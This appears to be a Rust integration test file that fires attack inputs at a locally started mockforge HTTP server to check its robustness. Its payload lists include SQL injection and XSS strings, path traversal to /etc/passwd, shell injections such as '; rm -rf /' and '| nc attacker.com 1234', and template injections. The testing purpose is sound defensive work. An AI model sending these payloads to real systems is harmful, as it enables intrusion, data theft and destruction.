use axum::http::StatusCode;
use mockforge_http::build_router;
use reqwest::Client;
use serde_json::json;
use std::net::SocketAddr;
use tokio::net::TcpListener;
use tokio::time::Duration;
#[tokio::test]
async fn test_sql_injection_attempts() {
let router = build_router(None, None, None).await;
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server = tokio::spawn(async move {
axum::serve(listener, router.into_make_service_with_connect_info::<SocketAddr>())
.await
.unwrap()
});
tokio::time::sleep(Duration::from_millis(100)).await;
let client = Client::new();
let base_url = format!("http://{}", addr);
let sql_injections = vec![
"'; DROP TABLE users; --",
"' OR '1'='1",
"' UNION SELECT * FROM users --",
"1' OR '1'='1",
"admin'--",
"' OR 1=1--",
"1' UNION SELECT NULL--",
];
for injection in sql_injections {
let url = format!("{}/api/test?param={}", base_url, urlencoding::encode(injection));
let response = client.get(&url).send().await;
let _ = response;
}
drop(server);
}
#[tokio::test]
async fn test_xss_attempts() {
let router = build_router(None, None, None).await;
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server = tokio::spawn(async move {
axum::serve(listener, router.into_make_service_with_connect_info::<SocketAddr>())
.await
.unwrap()
});
tokio::time::sleep(Duration::from_millis(100)).await;
let client = Client::new();
let base_url = format!("http://{}", addr);
let xss_payloads = vec![
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"javascript:alert('XSS')",
"<svg onload=alert('XSS')>",
"'\"><script>alert('XSS')</script>",
"<body onload=alert('XSS')>",
];
for payload in xss_payloads {
let response = client
.post(format!("{}/api/test", base_url))
.json(&json!({"data": payload}))
.send()
.await;
let _ = response;
}
drop(server);
}
#[tokio::test]
async fn test_path_traversal_attempts() {
let router = build_router(None, None, None).await;
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server = tokio::spawn(async move {
axum::serve(listener, router.into_make_service_with_connect_info::<SocketAddr>())
.await
.unwrap()
});
tokio::time::sleep(Duration::from_millis(100)).await;
let client = Client::new();
let base_url = format!("http://{}", addr);
let traversal_paths = vec![
"/api/../../../etc/passwd",
"/api/..\\..\\..\\windows\\system32",
"/api/....//....//etc/passwd",
"/api/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"/api/..%2f..%2f..%2fetc%2fpasswd",
"/api/..../..../etc/passwd",
"/api/%252e%252e%252fetc%252fpasswd",
];
for path in traversal_paths {
let url = format!("{}{}", base_url, path);
let response = client.get(&url).send().await;
if let Ok(resp) = response {
assert!(resp.status() != StatusCode::OK || resp.status().is_client_error());
}
}
drop(server);
}
#[tokio::test]
async fn test_command_injection_attempts() {
let router = build_router(None, None, None).await;
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server = tokio::spawn(async move {
axum::serve(listener, router.into_make_service_with_connect_info::<SocketAddr>())
.await
.unwrap()
});
tokio::time::sleep(Duration::from_millis(100)).await;
let client = Client::new();
let base_url = format!("http://{}", addr);
let command_injections = vec![
"; ls -la",
"| cat /etc/passwd",
"&& whoami",
"`id`",
"$(whoami)",
"; rm -rf /",
"| nc attacker.com 1234",
];
for injection in command_injections {
let response = client
.post(format!("{}/api/test", base_url))
.json(&json!({"command": format!("test{}", injection)}))
.send()
.await;
let _ = response;
}
drop(server);
}
#[tokio::test]
async fn test_authentication_bypass_attempts() {
let router = build_router(None, None, None).await;
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server = tokio::spawn(async move {
axum::serve(listener, router.into_make_service_with_connect_info::<SocketAddr>())
.await
.unwrap()
});
tokio::time::sleep(Duration::from_millis(100)).await;
let client = Client::new();
let base_url = format!("http://{}", addr);
let bypass_attempts = vec![
("Authorization", "Bearer invalid_token"),
("Authorization", "Bearer "),
("Authorization", "Basic invalid"),
("Authorization", "Bearer null"),
("Authorization", "Bearer undefined"),
("X-API-Key", "invalid_key"),
("X-API-Key", ""),
];
for (header_name, header_value) in bypass_attempts {
let response = client
.get(format!("{}/api/test", base_url))
.header(header_name, header_value)
.send()
.await;
if let Ok(resp) = response {
assert!(resp.status().is_client_error() || resp.status().is_success());
}
}
drop(server);
}
#[tokio::test]
async fn test_template_injection_attempts() {
let router = build_router(None, None, None).await;
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server = tokio::spawn(async move {
axum::serve(listener, router.into_make_service_with_connect_info::<SocketAddr>())
.await
.unwrap()
});
tokio::time::sleep(Duration::from_millis(100)).await;
let client = Client::new();
let base_url = format!("http://{}", addr);
let template_injections = vec![
"{{7*7}}",
"{{constructor.constructor('return process')().exit()}}",
"{{#if}}{{/if}}",
"{{../../etc/passwd}}",
"{{system('cat /etc/passwd')}}",
];
for injection in template_injections {
let response = client
.post(format!("{}/api/test", base_url))
.json(&json!({"template": injection}))
.send()
.await;
let _ = response;
}
drop(server);
}
#[tokio::test]
async fn test_oversized_payload_attacks() {
let router = build_router(None, None, None).await;
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server = tokio::spawn(async move {
axum::serve(listener, router.into_make_service_with_connect_info::<SocketAddr>())
.await
.unwrap()
});
tokio::time::sleep(Duration::from_millis(100)).await;
let client = Client::new();
let base_url = format!("http://{}", addr);
let oversized_data = "a".repeat(10_000_000);
let response = client
.post(format!("{}/api/test", base_url))
.json(&json!({"data": oversized_data}))
.timeout(Duration::from_secs(30))
.send()
.await;
let _ = response;
drop(server);
}
#[tokio::test]
async fn test_header_injection_attempts() {
let router = build_router(None, None, None).await;
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server = tokio::spawn(async move {
axum::serve(listener, router.into_make_service_with_connect_info::<SocketAddr>())
.await
.unwrap()
});
tokio::time::sleep(Duration::from_millis(100)).await;
let client = Client::new();
let base_url = format!("http://{}", addr);
let header_injections = vec![
("X-Forwarded-For", "127.0.0.1\r\nX-Injected: value"),
("User-Agent", "test\r\nX-Injected: value"),
("X-Real-IP", "127.0.0.1\r\nX-Injected: value"),
];
for (header_name, header_value) in header_injections {
let response = client
.get(format!("{}/api/test", base_url))
.header(header_name, header_value)
.send()
.await;
let _ = response;
}
drop(server);
}
#[tokio::test]
async fn test_unicode_normalization_attacks() {
let router = build_router(None, None, None).await;
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server = tokio::spawn(async move {
axum::serve(listener, router.into_make_service_with_connect_info::<SocketAddr>())
.await
.unwrap()
});
tokio::time::sleep(Duration::from_millis(100)).await;
let client = Client::new();
let base_url = format!("http://{}", addr);
let unicode_attacks = vec![
"/api/test\u{200B}", "/api/test\u{FEFF}", "/api/test\u{200C}", "/api/test\u{200D}", ];
for path in unicode_attacks {
let url = format!("{}{}", base_url, path);
let response = client.get(&url).send().await;
let _ = response;
}
drop(server);
}
#[tokio::test]
async fn test_null_byte_injection() {
let router = build_router(None, None, None).await;
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server = tokio::spawn(async move {
axum::serve(listener, router.into_make_service_with_connect_info::<SocketAddr>())
.await
.unwrap()
});
tokio::time::sleep(Duration::from_millis(100)).await;
let client = Client::new();
let base_url = format!("http://{}", addr);
let null_byte_payloads = vec!["test\u{0000}.txt", "test%00.txt", "\u{0000}test"];
for payload in null_byte_payloads {
let response = client
.post(format!("{}/api/test", base_url))
.json(&json!({"filename": payload}))
.send()
.await;
let _ = response;
}
drop(server);
}